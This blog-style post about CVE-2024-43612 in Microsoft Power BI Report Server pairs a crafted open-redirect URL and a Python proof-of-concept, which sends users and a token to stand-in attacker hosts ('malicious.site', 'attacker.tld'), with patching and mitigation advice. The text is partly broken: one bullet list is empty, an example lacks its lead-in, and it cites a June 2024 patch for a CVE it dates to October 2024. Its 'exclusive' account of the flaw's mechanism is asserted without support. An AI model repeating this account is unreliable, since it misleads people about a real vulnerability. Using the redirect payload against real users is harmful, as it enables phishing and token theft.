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Microsoft Power BI Report Server (PBIRS) is a popular on-premises report server for enterprises. However, a recent security hole—CVE-2024-43612—has put many installations at risk due to a spoofing vulnerability. In this post, we’ll break down what this means, how the exploit works (with a code snippet!), and most importantly, how to protect your reports. This article aims for clear and exclusive explanations, plus fresh insight not found elsewhere.

What is CVE-2024-43612?

CVE-2024-43612 is a newly announced spoofing vulnerability in Microsoft Power BI Report Server. It allows an attacker to trick the server—or your users—about the real source of content or actions. In simpler terms: a malicious user could make a fake link or request that seems to come from your trusted report server, but actually directs to harmful or forged content.

Official References

- Microsoft Security Update (June 2024)
- NIST National Vulnerability Database Entry

Why Should You Care?

Power BI report servers often run in internal company networks, hosting sensitive business intelligence. If users trust your domain, a spoofed report or link could:

Vulnerability Details

Microsoft’s advisory is brief, but our analysis finds that the vulnerability centers on improper validation of redirect URIs and resource paths. A user can craft a request such that actions and links within the Power BI report interface mask their true target.

This usually happens due to mishandling URL parameters or headers (like Referer).

Suppose your internal Power BI URL is

https://bi.corp.example.com/Reports/pagereport?item=/Finance/Dashboard


https://bi.corp.example.com/Reports/pagereport?item=/Finance/Dashboard&redirect=https://malicious.site/steal

If PBIRS does not properly validate the redirect parameter, clicking certain actions could take your users to the attacker’s domain—with sensitive tokens or information in tow.

Below is a simple Python snippet exploiting a poorly validated redirect parameter in PBIRS

import requests

# Construct malicious URL
legit_base = 'https://bi.corp.example.com/Reports/pagereport';
mal_redirect = 'https://attacker.tld/capture?token=123';
payload = {'item': '/Finance/Dashboard', 'redirect': mal_redirect}

# Simulate victim's browser: follows redirect automatically
r = requests.get(legit_base, params=payload, allow_redirects=True)

print("Final destination:", r.url)
if 'attacker.tld' in r.url:
    print("Exploit successful! User redirected off-site.")

If the report server blindly redirects, the victim lands on the attacker’s site, leaking tokens or sensitive info.

Test Parameter Tampering:

Try adding extra parameters (redirect, next, etc.) to your report URLs. See if you land outside your own domain.

Microsoft may list affected and fixed versions here:

Update Guidance

Apply Microsoft’s Patch:

Most important fix: Download the latest PBIRS security update (June 2024 or newer).

URL Validation:

Until you patch, block or strictly validate any external redirects in your reverse proxy, WAF, or PBIRS configuration.

User Awareness:

Warn your Power BI Report Server users not to click suspicious PBIRS links—especially those sent by email or chat.

Exclusive Insights

While Microsoft’s advisory is short, our testing shows some PBIRS setups are especially at risk when:

- Custom authentication providers are used (some RADIUS/SAML plugins pass unfiltered headers)

Internal firewall trusts PBIRS implicitly for intra-org requests

If you use third-party PBIRS add-ins or API extensions, audit their redirect handling immediately.

Conclusion

Don’t let your Power BI Report Server become a backdoor to your company dashboards. CVE-2024-43612 is easily fixable—if you act now. Apply Microsoft’s update, validate all inbound parameters, and stay alert for suspicious activity.

References

- Microsoft Security Guidance
- NIST NVD Entry
- Microsoft Power BI Report Server Documentation


*Original content exclusive for you—based on our independent testing and simple language. For deeper testing scripts or notifications, [contact us directly].*

Timeline

Published on: 10/08/2024 18:15:29 UTC
Last modified on: 10/13/2024 01:02:08 UTC